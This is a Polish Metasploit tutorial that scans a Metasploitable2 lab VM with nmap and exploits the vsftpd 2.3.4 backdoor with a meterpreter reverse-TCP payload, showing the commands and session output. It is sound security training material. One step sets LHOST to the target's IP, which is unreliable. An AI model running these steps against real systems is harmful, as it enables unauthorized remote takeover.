W mojej książce Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN poznałeś sposoby łamania haseł w sieciach bezprzewodowych, dowiedziałeś się jak zdobyć dane, które użytkownik wprowadził do przeglądarki. Man in the Middle jest dość ciekawym sposobem uzyskania informacji, ale aby cokolwiek zrobić, musiałeś być w tej samej sieci. Nawet jak w niej byłeś, to jedyne co mogłeś przechwycić, to dane z przeglądarek. Oczywiście są to ważne informacje, ale czy nie da się więcej? Jeżeli interesuje/ zainteresował Cię ten temat, to nie masz już wyjścia, musisz czytać dalej. W tej serii artykułów pokażę program, dzięki możemy przetestować urządzenie, pod względem zainstalowanego na nim urządzenia.
 

W materiałach dotyczących narzędzia Metasploit będę wykorzystywał dwie maszyny wirtualne w VirtualBox. Pierwsza z nich to Kali Linux, natomiast druga Metasplitable2. Obie maszyny znajdują się w tej samej sieci nat. Jeśli chcesz wykonać wszystkie poniższe czynności skonfiguruj takie środowisko testowe. Ważne jest aby przed pierwszym uruchomieniem Metasplitable2 dodać ją do sieci NAT. Jest to obraz specjalnie przygotowany do ćwiczeń związanych z łamaniem zabezpieczeń. Nie może być uruchomiony w sieci, z której korzysta się na co dzień.

Czym jest oprogramowanie Metasploit?

Metasploit jest udostępniony całkowicie za darmo i posiada bardzo duży zakres możliwości. Sam w sobie zawiera ogromną bazę exploitów, które w łatwy sposób jesteśmy w stanie wykorzystać do testów. Jednak nie jesteś jedynie ograniczony do zaimplementowanych sposobów. Możesz sam tworzyć własne i dzięki temu narzędziu je wykorzystać.
 

Jego funkcjonalność nie zamyka się na samych exploitach. Dzięki niemu jesteś w stanie gromadzić dane, szukać luk w sieci. Wielu doświadczonych osób zajmujących się na co dzień bezpieczeństwem uważa ten program za najlepsze narzędzie do tego celu, szczególnie podczas nauki.
 

Dla mnie jest czymś, co bardzo dobrze wspominam z początku swojej nauki. Do dnia dzisiejszego pamiętam, jak pierwszy raz udało mi się zrobić to, co za chwilę Ci pokażę. Mile wspominam ten dreszczyk emocji, zadowolenia z tego, że się udało.
 

„KURDE! Ja mam pełny dostęp do tego systemu”, mniej więcej tak było. Natomiast dzisiaj, może już nie tak samo reaguję ponieważ trochę czasu używam Metasploita, ale nadal ta radość z powodzenia jest obecna. Mam nadzieję, że dalszy materiał napełni Cię taką samą pozytywną energią, jaką wywołał we mnie po raz pierwszy i nabierzesz jeszcze większych chęci do nauki.
 

Jednak jeżeli poczujesz jakiś niedosyt, bo dostępny materiał nie jest dla Ciebie wystarczający, to mogę Ci polecić kurs samych autorów znajdujący się pod adresem: https://www.offensive-security.com/metasploit-unleashed/ 
 

Pierwsze uruchomienie

Opisywane oprogramowanie pod względem uruchomienia niczym się nie różni od klasycznego oprogramowania uruchamianego w dystrybucjach Linux. Jak z każdym nowym programem w dystrybucji Linux powinniśmy na początku zapoznać się z jego dziennikiem pomocy, wpisując:
 

msfconsole --help

Usage: msfconsole [options]

 

Common options:

    -E, --environment ENVIRONMENT    Set Rails environment, defaults to RAIL_ENV environment variable or 'production'

 

Database options:

    -M, --migration-path DIRECTORY   Specify a directory containing additional DB migrations

    -n, --no-database                Disable database support

    -y, --yaml PATH                  Specify a YAML file containing database settings

 

Framework options:

    -c FILE                          Load the specified configuration file

    -v, -V, --version                Show version

 

Module options:

        --[no-]defer-module-loads    Defer module loading unless explicitly asked

    -m, --module-path DIRECTORY      Load an additional module path

 

Console options:

    -a, --ask                        Ask before exiting Metasploit or accept 'exit -y'

    -H, --history-file FILE          Save command history to the specified file

    -l, --logger STRING              Specify a logger to use (StdoutWithoutTimestamps, TimestampColorlessFlatfile, Flatfile, Stderr, Stdout)

        --[no-]readline

    -L, --real-readline              Use the system Readline library instead of RbReadline

    -o, --output FILE                Output to the specified file

    -p, --plugin PLUGIN              Load a plugin on startup

    -q, --quiet                      Do not print the banner on startup

    -r, --resource FILE              Execute the specified resource file (- for stdin)

    -x, --execute-command COMMAND    Execute the specified console commands (use ; for multiples)

    -h, --help                       Show this message
 

Poczytaj trochę na temat opcji, jakie możesz wykorzystać przy uruchomieniu programu. Niektórymi z nich zajmiemy się w kolejnych częściach. Dlaczego nie teraz? Ponieważ Metasploit na samym początku należy poznać od środka. Możliwe, że zastanawiasz się po co kazałem spojrzeć na opcje przy uruchomieniu tego programu? Odpowiedź na to pytanie jest dość prosta. Zawsze powinieneś tak robić korzystając z nowego programu! Dzięki temu bardzo często poznasz, w jaki sposób ułatwić sobie życie na samym początku.
 

Uruchommy teraz metasplit jako użytkownik konta root:

sudo su

msfconsole
 

Powinieneś otrzymać informacje tak jak poniżej:
 


 

Na samym wstępie jesteś w stanie wyczytać, ile program posiada wbudowanych exploitów oraz payloadów. Wiem… Możesz mieć pewien mętlik w głowie, bo nie wspomniałem jeszcze o tych dwóch pojęciach. Jednak nie martw się, różnice poznasz przy omawianiu poszczególnych luk w późniejszym czasie. Teraz widzisz, jak ogromne możliwości stwarza sam program. Szczególnie, że istnieje jeszcze możliwość tworzenia własnych exploitów i wykorzystania ich za pomocą tego narzędzia. Tworząc własne rozwiązania jesteś w stanie zająć się samą implementacją, a nie myśleć dodatkowo nad stworzeniem narzędzia, które to zautomatyzuje. Niestety w ramach tych kilku artykułów zajmiemy się tylko tymi wbudowanymi exploitami. Myślę, że na sam początek będzie to dla Ciebie również spora dawka wiedzy.
 

Wyświetlamy wszystkie możliwości konfiguracji programu

Metasploit posiada wbudowane polecenie help, za pomocą którego poznasz wszystkie dostępne w nim możliwości konfiguracji. Wystarczy, że w uruchomionym programie wpiszesz:

help
 

Pojawi się imponująca lista możliwości tego programu. Niektóre z wymienionych opcji posłużą ustawieniom, niektóre nadają dodatkowe możliwości, a na samym dolne znajdują się przykłady wykorzystania niektórych z poleceń. Szczególnie warto zapoznać się z przykładami. Pomogą lepiej zrozumieć normę korzystania z narzędzia jaką autorzy kierowali się podczas jego tworzenia.

 

Wykorzystanie pierwszego exploita

Nim przejdziemy dalej, musimy poznać czym tak naprawdę jest exploit. Otóż najprościej wytłumaczyć go można jako luka w programie lub systemie/dystrybucji, którą można wykorzystać, aby uzyskać dostęp do urządzenia. Łatwiej jest mi używać terminu exploit niż luka w oprogramowaniu, dlatego w tym jak i kolejnych artykułach na temat tego narzędzia pozostanę przy tej nazwie.

Wszelkie testy będziemy przeprowadzali w sieci NAT, którą stworzyć musimy w VirtualBoxie. Naszym celem będzie dystrybucja Metasploitable2. Dlatego jeśli masz uruchomiony tylko Kali Linux, to nadeszła pora na uruchomienie Metasploitable2.
 

Nmap wykrywanie uruchomionego oprogramowania

Narzędziu nmap poświęciłem bardzo dużo czasu w swojej książce „Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN”, dlatego teraz bez większego rozpisywania się wyświetlmy wszystkie uruchomione serwisy w Metasploitable2:

nmap 10.0.2.20 -sV

Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-10 12:00 -0400

Nmap scan report for 10.0.2.20

Host is up (0.010s latency).

Not shown: 977 closed tcp ports (reset)

PORT     STATE SERVICE     VERSION

21/tcp   open  ftp         vsftpd 2.3.4

22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp   open  telnet      Linux telnetd

25/tcp   open  smtp        Postfix smtpd

53/tcp   open  domain      ISC BIND 9.4.2

80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp  open  rpcbind     2 (RPC #100000)

139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

512/tcp  open  exec        netkit-rsh rexecd

513/tcp  open  login       OpenBSD or Solaris rlogind

514/tcp  open  tcpwrapped

1099/tcp open  java-rmi    GNU Classpath grmiregistry

1524/tcp open  bindshell   Metasploitable root shell

2049/tcp open  nfs         2-4 (RPC #100003)

2121/tcp open  ftp         ProFTPD 1.3.1

3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5

5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open  vnc         VNC (protocol 3.3)

6000/tcp open  X11         (access denied)

6667/tcp open  irc         UnrealIRCd

8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)

8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:C1:10:EE (Oracle VirtualBox virtual NIC)

Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds
 

Jako wynik powinieneś otrzymać taką samą lub podobną listę. W ramach wyjaśnień, 10.0.2.20 jest to adres ip, jaki został przypisany do mojej maszyny wirtualnej Metasploitable2. Jeżeli u Ciebie VirtualBox przypisał lub Ty przypisałeś inny adres IP, to po nazwie nmap wpisz właściwy. Inaczej otrzymasz informację, że urządzenie jest wyłączone.
 

Teraz postaram się po kolei opisać, co należy zrobić, gdy otrzymamy poprawny wynik. Spójrzmy na część wyniku jaki otrzymaliśmy:

PORT     STATE SERVICE     VERSION

21/tcp   open  ftp         vsftpd 2.3.4
 

Z listy pierwszym wykrytym serwisem jest vsftpd 2.3.4. Co ważne w tym wypadku pojawia się również wersja jaka jest uruchomiona. Mając już taką ilość informacji, co możemy z nim dalej zrobić ? Otóż najprościej, uruchom przeglądarkę i wpisz w wyszukiwarce exploit vsftpd 2.3.4. Pierwszą, lub jedną z pierwszych stron, jaka powinna się pojawić jest:

https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
 

Tutaj chcę wspomnieć, że rapid7 jest to firma, która stworzyła Metasploit, dlatego rozwiązanie z ich strony powinno być sprawdzane w pierwszej kolejności.
 

Wczytując się w informację na stronie dowiadujemy się, kiedy exploit został wykryty, kto go wykrył i w jaki sposób możemy go wykorzystać. Spójrzmy na sam dół strony, znajduje się tam instrukcja krok po kroku, w jaki sposób należy skorzystać z luki.
 

    msf > use exploit/unix/ftp/vsftpd_234_backdoor

    msf exploit(vsftpd_234_backdoor) > show targets

        ...targets...

    msf exploit(vsftpd_234_backdoor) > set TARGET < target-id >

    msf exploit(vsftpd_234_backdoor) > show options

        ...show and set options...

    msf exploit(vsftpd_234_backdoor) > exploit
 

Jeżeli chcesz, sam spróbuj wykorzystać tego exploita bez pomocy czytanego materiału. Szczerze do tego zachęcam. Najwięcej uczymy się próbując sami! Natomiast jeśli napotkałeś jakiekolwiek problemy, czytaj dalej. Wiedz jednak, że wtedy to już będzie pewnego rodzaju spoiler.
 

Aby jakiegokolwiek exploit wykorzystać, należy na samym początku odnaleźć go w programie metasploit i odpowiednio skonfigurować. Nie powinno nas to dziwić. Przecież uruchamiamy na przykład grę, w której możemy ustawić różne opcje, dostosowując rozgrywkę do własnych predyspozycji. W pewnym sensie tutaj jest tak samo. Dlatego aby móc cokolwiek ustawić, musimy najpierw wskazać metasploitowi exploita, dzięki czemu będziemy mogli dokonać niezbędnej konfiguracji. W przypadku opisywanego wystarczy, że wpiszemy polecenie w następujący sposób w programie:

use exploit/unix/ftp/vsftpd_234_backdoor
 

Otrzymasz w zamian informację:

[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp

msf exploit(unix/ftp/vsftpd_234_backdoor) >
 

Na razie nie zastanawiaj się nad pierwszą linią. Wyjaśnię payloady w późniejszym czasie. Teraz chciałbym, abyś zwrócił uwagę na sam sposób zapisu. Po nazwie msf6, która jest skrótową nazwą programu, znajduje się nazwa exploita, którego użyliśmy. W ten sposób metasploit określa, że dany exploit może zostać skonfigurowany.
 

Wiesz już, że musisz go skonfigurować, ale nasuwa się pytanie, jak to zrobić? Otóż listę dostępnych opcji możemy otrzymać przy pomocy polecenia:

show options

Otrzymasz następujące możliwości konfiguracji:

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

 

   Name    Current Setting  Required  Description

   ----    ---------------  --------  -----------

   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

   RPORT   21               yes       The target port (TCP)

 

 

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

 

   Name            Current Setting  Required  Description

   ----            ---------------  --------  -----------

   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)

   FETCH_DELETE    false            yes       Attempt to delete the binary after execution

   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zs

                                              h) (Accepted: none, python3.8+, shell-search, shell)

   FETCH_SRVHOST                    no        Local IP to use for serving payload

   FETCH_SRVPORT   8080             yes       Local port to use for serving payload

   FETCH_URIPATH                    no        Local URI to use for serving payload

   LHOST                            yes       The listen address (an interface may be specified)

   LPORT           4444             yes       The listen port

 

 

   When FETCH_COMMAND is one of CURL,GET,WGET:

 

   Name        Current Setting  Required  Description

   ----        ---------------  --------  -----------

   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.

 

 

   When FETCH_FILELESS is none:

 

   Name                Current Setting  Required  Description

   ----                ---------------  --------  -----------

   FETCH_FILENAME      LKyuzngenWL      no        Name to use on remote system when storing payload; cannot contain spaces or slashes

   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces

 

 

Exploit target:

 

   Id  Name

   --  ----

   0   Linux/Unix Command

View the full module info with the info, or info -d command.
 

Wyświetliła się lista opcji modułów. Teraz skupmy się na wyniku. W pierwszej tabeli mamy dwa wiersze. W pierwszym z nich znajduje się RHOSTS, w drugim RPORT. Zwróć uwagę, że po RPORT znajduje się już liczba 21. Metasploit uzupełnił automatycznie port, jaki powinien zostać użyty, aby wykorzystać wybranego exploita. Pomimo, że jest on raczej właściwy, zawsze warto sprawdzić, czy na pewno. Wróć teraz do miejsca, gdzie wykonywaliśmy skanowanie nmap i sprawdź, czy przy serwisie znajduje się port 21. Jeżeli jest inny, to musimy użyć polecenia:

set RPORT [PORT]
 

Oczywiście w miejsce [PORT] wpisujemy numer portu i wciskamy ENTER.
 

Po właściwym skonfigurowaniu portu przyszła pora na ustawienie IP urządzenia, na którym chcemy wykorzystać poznawany exploit. Jak już wspomniałem do mojej dystrybucji Metasploitable2 został przypisany adres ip 10.0.2.20, dlatego ustawiam tę opcję tak:

set RHOST 10.0.2.20
 

Teraz pozostaje sprawdzić, czy wszystko zostało prawidłowo ustawione. Robimy to poznanym wcześniej poleceniem:

show options
 

Tabela powinna prezentować się następująco:

Name    Current Setting  Required  Description

   ----    ---------------  --------  -----------

   RHOSTS  10.0.2.20        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

   RPORT   21               yes       The target port (TCP)Zgodnie z tym, co się wyświetliło, mamy wszystko ustawione właściwie.
 

Jeżeli samodzielnie będziesz ustawiał podobnego exploita, zwróć uwagę na kolumnę Required, czyli po polsku „wymagany”. Jeżeli w tej kolumnie masz wpisane yes ( czyli tak ), oznacza to, że opcja musi zostać ustawiona, aby exploit zadziałał.
 

Mamy ustawioną maszynę, która posiada zainstalowany exploit, teraz musimy ustawić adres IP maszyny z którą za pomocą tego exploita nawiąże połączenie. W tej sytuacji jest to Kali Linux. Adres IP Kali Linux z którego korzystam to 10.0.2.19. Natomiast wzmianka o tym, że jest brak tego ustawienia znajduje się w wyniku polecenia show options:

LHOST                            yes       The listen address (an interface may be specified)

LPORT           4444             yes       The listen port
 

Teraz pozostaje użyć poznanego polecenia, ale zamiast RHOST użyć LHOST:

set LHOST 10.0.2.20
 

Po wykonaniu tego ustawienia i upewnieniu się, że mamy wszystko właściwie ustawione, nie pozostaje nic innego, jak tylko uruchomić naszego exploita. Robimy to bardzo sensownym poleceniem:

exploit
 

Po wciśnięciu klawisza ENTER będziesz łączył się z urządzeniem wpisanym w RHOST. Jeżeli wszystko się uda, powinieneś otrzymać informację:

[*] Started reverse TCP handler on 10.0.2.19:4444

[+] 10.0.2.20:21 - Backdoor has been spawned!

[*] Meterpreter session 1 opened (10.0.2.19:4444 -> 10.0.2.20:48573) at 2026-05-10 12:30:48 -0400
 

I brawo! Właśnie uzyskałeś kontrolę nad systemem. Aby się o tym przekonać, wpisz polecenie:

cat /etc/issue
 

Służy ono do wyświetlania nazwy systemu, dlatego po jego wpisaniu powinieneś otrzymać informację:
 


Aby zakończyć połączenie z dystrybucją metasploitable2, należy wpisać exit.

Mam nadzieję, że cieszysz się tym tak, jak ja kiedyś. Właśnie udało Ci się uzyskać pełny dostęp do urządzenia. Znając właściwe polecenia w konsoli, jesteś w stanie zrobić z nim, co tylko zechcesz.
 

Podsumowanie

W tym artykule za zadanie postawiłem sobie wprowadzić Cię w obsługę programu Metasploit i mam nadzieję, że udało mi się to osiągnąć. Jak się niebawem przekonasz program ten jest jednym z najlepszych narzędzi do nauki szczególnie na samym początku. Niepoznanie jego funkcjonalności w tej dziedzinie to moim zdaniem grzech. Na pewno czujesz pewien niedosyt dlatego w następnym artykule zajmiemy się kolejnymi sposobami dostępu do urządzenia przy pomocy Metasploit.